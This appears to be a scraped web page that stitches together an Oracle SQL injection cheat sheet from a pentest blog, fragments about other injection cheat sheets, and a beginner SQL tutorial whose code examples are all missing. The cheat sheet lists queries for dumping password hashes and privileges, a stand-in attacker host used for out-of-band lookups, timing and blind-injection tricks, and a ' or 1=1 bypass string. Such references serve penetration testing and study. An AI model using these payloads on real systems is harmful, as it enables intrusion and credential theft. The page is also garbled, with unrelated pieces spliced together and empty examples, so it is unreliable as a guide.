- The SQL cheat sheet commands can be used in any IDE or tool where the user has connected to the database using the JAR file of the database type. The different databases existing in the market are Oracle, Microsoft SQL Server, IBM DB2, etc., which all these can be connected to by using their respective jars and tools to manage the data operations.
- Cheatsheet to exploit and learn SQL Injection manually. View On GitHub; This project is maintained by AdmiralGaust. First try to figure out the vulnerable parameter; NOTE: If it’s a GET request don’t forget to url encode the characters.
Some useful syntax reminders for SQL Injection into Oracle databases…
This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is:
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
Title: Oracle SQL Injection Cheat Sheet by Dormidera - Cheatography.com Created Date: 1046Z. Ingres SQL Injection Cheat Sheet. Saturday, July 7th, 2007. Ingres seems to be one of the less common database backends for web applications, so I thought it would be worth installing it and making some notes to make my next Ingres-based web app test a little easier. Tags: cheatsheet, database, ingres, pentest, sqlinjection. This list can be used by penetration testers when testing for SQL injection authentication bypass. A penetration tester can use it manually or through burp in order to automate the process. The creator of this list is Dr. Emin İslam TatlıIf (OWASP Board Member). If you have any other suggestions please feel free to leave a comment in order to improve and expand the list. ' or 1=1 ' or 1=1.
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.
| Version | SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance; |
| Comments | SELECT 1 FROM dual — comment – NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table. |
| Current User | SELECT user FROM dual |
| List Users | SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$; — priv |
| List Password Hashes | SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if acct is locked SELECT name,spare4 FROM sys.user$ — priv, 11g |
| Password Cracker | checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10. |
| List Privileges | SELECT * FROM session_privs; — current privs SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; |
| List DBA Accounts | SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles |
| Current Database | SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL; |
| List Databases | SELECT DISTINCT owner FROM all_tables; — list schemas (one per user) – Also query TNS listener for other databases. See tnscmd (services | status). |
| List Columns | SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’; |
| List Tables | SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; |
| Find Tables From Column Name | SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case |
| Select Nth Row | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1) |
| Select Nth Char | SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’ |
| Bitwise AND | SELECT bitand(6,2) FROM dual; — returns 2 SELECT bitand(6,1) FROM dual; — returns0 |
| ASCII Value -> Char | SELECT chr(65) FROM dual; — returns A |
| Char -> ASCII Value | SELECT ascii(‘A’) FROM dual; — returns 65 |
| Casting | SELECT CAST(1 AS char) FROM dual; SELECT CAST(’1′ AS int) FROM dual; |
| String Concatenation | SELECT ‘A’ || ‘B’ FROM dual; — returns AB |
| If Statement | BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements |
| Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2 |
| Avoiding Quotes | SELECT chr(65) || chr(66) FROM dual; — returns AB |
| Time Delay | BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow – Also see Heavy Queries to create a time delay |
| Make DNS Requests | SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual; SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; |
| Command Execution | Javacan be used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me. |
| Local File Access | UTL_FILE can sometimes be used. Check that the following is non-null: SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express). |
| Hostname, IP Address | SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames |
| Location of DB files | SELECT name FROM V$DATAFILE; |
| Default/System Databases | SYSTEM SYSAUX |
Misc Tips
In no particular order, here are some suggestions from pentestmonkey readers.
From Christian Mehlmauer:
| Get all tablenames in one string | select rtrim(xmlagg(xmlelement(e, table_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,') from all_tables – when using union based SQLI with only one row |
| Blind SQLI in order by clause | order by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = ‘a’ and rownum = 1)=1) then column_name1 else column_name2 end — you must know 2 column names with the same datatype |
Tags: cheatsheet, database, oracle, pentest, sqlinjection
Posted in SQL Injection
- A database is a collection of data
- In the database, we collect data in an organized way.
- Database that store data in tables known as Relational DataBase.
- SQL stands for Structured Query Language.
- SQL is used to create, update, retrieve and delete a database.
Some popular SQL Programs
There are many popular SQL programs and each one has their advantages and disadvantages.
- MySQL
- SQLite
- PostgreSQL
- Oracle
SQL Commands
In SQL we use 3 types of Commands:
- Data Definition Language(DDL): DDL commands used to define the frame of a database and its major commands are CREATE, ALTER, and DROP.
- Data Manipulation Language(DML): DML commands used to modify or edit the existing database and its major commands are INSERT, UPDATE and DELETE.
- Data Control Language(DCL): DCL commands deal with the permission of the database and its major commands are GRANT and REVOKE.
- Data Query Language(DQL)
- Data Transfer Language(DTL)
SQL Datatypes
Data types are the most important factor, we should know data types before we store data in that format.
| Data Type | Description |
| int | To store integer values |
| decimal | To store numeric value with decimal points. |
| numeric | To store a numeric value |
| float | To store numeric value or real numbers |
| DateTime | To store data and time in a specific format |
| char(n) | To store characters with n length |
| varchar(n) | To store character data |
| text | To store characters or string |
| bit | 0 or 1 integer |
| image | To store images |
| real | To store real numbers |
| binary | To store binary values |
| timestamp | Timestamp (time in seconds) |
| table | To store a temporary table |
| XML | XML values |
Creating Table
To create a new table in the database we use CREATE TABLE command.
Example:
SQL Constraints
In SQL there are some rules that we need to follow to store data in an organized way and SQL commands can work on it. We use constrains when we create a table and pass it along with the data types.
Here are the SQL Constraints we use while creating a table.
- Primary key: It makes sure that all the data of primary key constraint have unique values and No null Value.
- NotNull: There would be no Null value in that column
- Check: It makes sure that all the values of the column satisfy the condition
- Foreign Key: Uniquely Identifies a record in another table
- Default: It gives a default value to the column if the user does not give a value.
- Unique: It makes sure that each value of the column is different.
Syntax to Write a constraint:
Insert Data into the table
INSERT…..VALUES:
Using the INSERT and VALUES command we can enter data into a table.
Example:
Multiple Insertion of data using single INSERT command:
Copy using Insert Command:
SELECT
SELECT command is used to retrieve the attributes (columns with their values), of the Table.
From
From tell, from which table select will retrieve the attributes and values, there could be more than one table associated with FROM statement.
Example:
DISTINCT
DISTINCT is used along with SELECT command, and it is used to eliminate the duplicate values.
Example:
ALTER
With ALTER command we can perform various operations such as adding new columns, modify data type and add or remove constraints.
Example:
To add a new column in the table
To delete a column from the table
To change the data type of table:
Rename the Table
With the help of RENAME command, we can rename the table
Example:
Drop-Table:
DROP TABLE command used to delete the complete table.
Example:
Truncate Table
Truncate table command is used to delete the table content, if we use the truncate table command it will not delete the table, it just deletes the content or data of the table.
Example:
Update Data of the Table
With the help of SET command, we can update the data we have saved previously. We can also put come conditions to SET update for specific data.
Example:
Delete
With the help of DELETE command, we can delete rows of the table.
Example:
Strings Functions
In SQL we have a special function which we can apply on our string data to customize it.
| Sting Functions | Example |
| left | SELECT left (‘SAMO TARLI’, 5) |
| len | SELECT len (‘length’) |
| lower | SELECT lower (‘HELLO’) |
| reverse | SELECT reverse (‘esrever’) |
| right | SELECT right (‘RIGHT’ ,4) |
| space | SELECT ‘Well’ + space(2) + ‘Done’ |
| str | SELECT str (2389,6,2) |
| substring | SELECT substring (‘Hello’ ,2,2) |
| upper | SELECT upper (‘hello’) |
Aggregate Functions
Aggregate functions used to summarize the attribute in one value.
| Aggregate Functions | Description |
| avg | Provide the average of all values |
| count | Count the total number of values present in the attribute |
| min | Give the minimum value present in an attribute |
| max | Give the maximum value present in the attribute |
| sum | Sum all the values of the attribute. |
Comparison Operators
Oracle Error Based Sql Injection Cheat Sheet
In SQL we have some standard comparison operators which we use along with WHERE statement to retrieve or update some specific row or data.
| Comparison Operator | Name |
| > | Greater than |
| < | Smaller than |
| >= | Greater than equal to |
| <= | Less than equal to |
| != | Not Equal to |
| = | Equal to |
Examples:
Logical Operators in SQL
In SQL we have 3 Logical operators, we use logical operators between two conditional expressions.
- AND
- OR
- NOT
OR Operator
AND Operator
NOT Operator
BETWEEN
With the help of BETWEEN command, we can obtain or retrieve a set of range.
Example:
LIKE ……..%
With LIKE command we can match string patterns, we use % symbol along with LIKE command to specify which pattern we want to search.
Example:
It will show all those records where the name starts from s.
It will show all those records where the name ends with s.
SQL Sequence ORDER BY
With ORDERED BY command we can retrieve data in Ascending or Descending order. By default, SQL retrieves data in Ascending order.
Example:
JOIN
JOINs command is used to join two tables together and provide a single table as a result.
Join Types:
- INNER JOIN
- OUTER JOIN
- CROSS JOIN
INNER JOIN
INNER JOIN is similar to a simple JOIN, it returns rows when there is a match between the tables.
OUTER JOIN
OUTER ROW shows all the rows of the first table and the matching rows of another table.
CROSS JOIN
It generates a table by the cartesian product of one table with another table. The total number of rows after the cartesian product would be rows of first table * columns of 2nd table.
Subqueries
With SQL we can query inside another query statement, with this we can perform multiple queries statements at once.
IN
With IN command we can check whether the data is present in the table or not.
Example:
EXISTS
The EXISTS command is used to check whether the record exists or not.
GROUP BY
The GROUP BY statement groups rows that have the same values into summary rows.
Example:
Having:
Mysql Injection Cheat Sheet
The having is similar to WHERE statement, HAVING used along GROUP BY statement.
Sql Injection Strings
You might be interested in: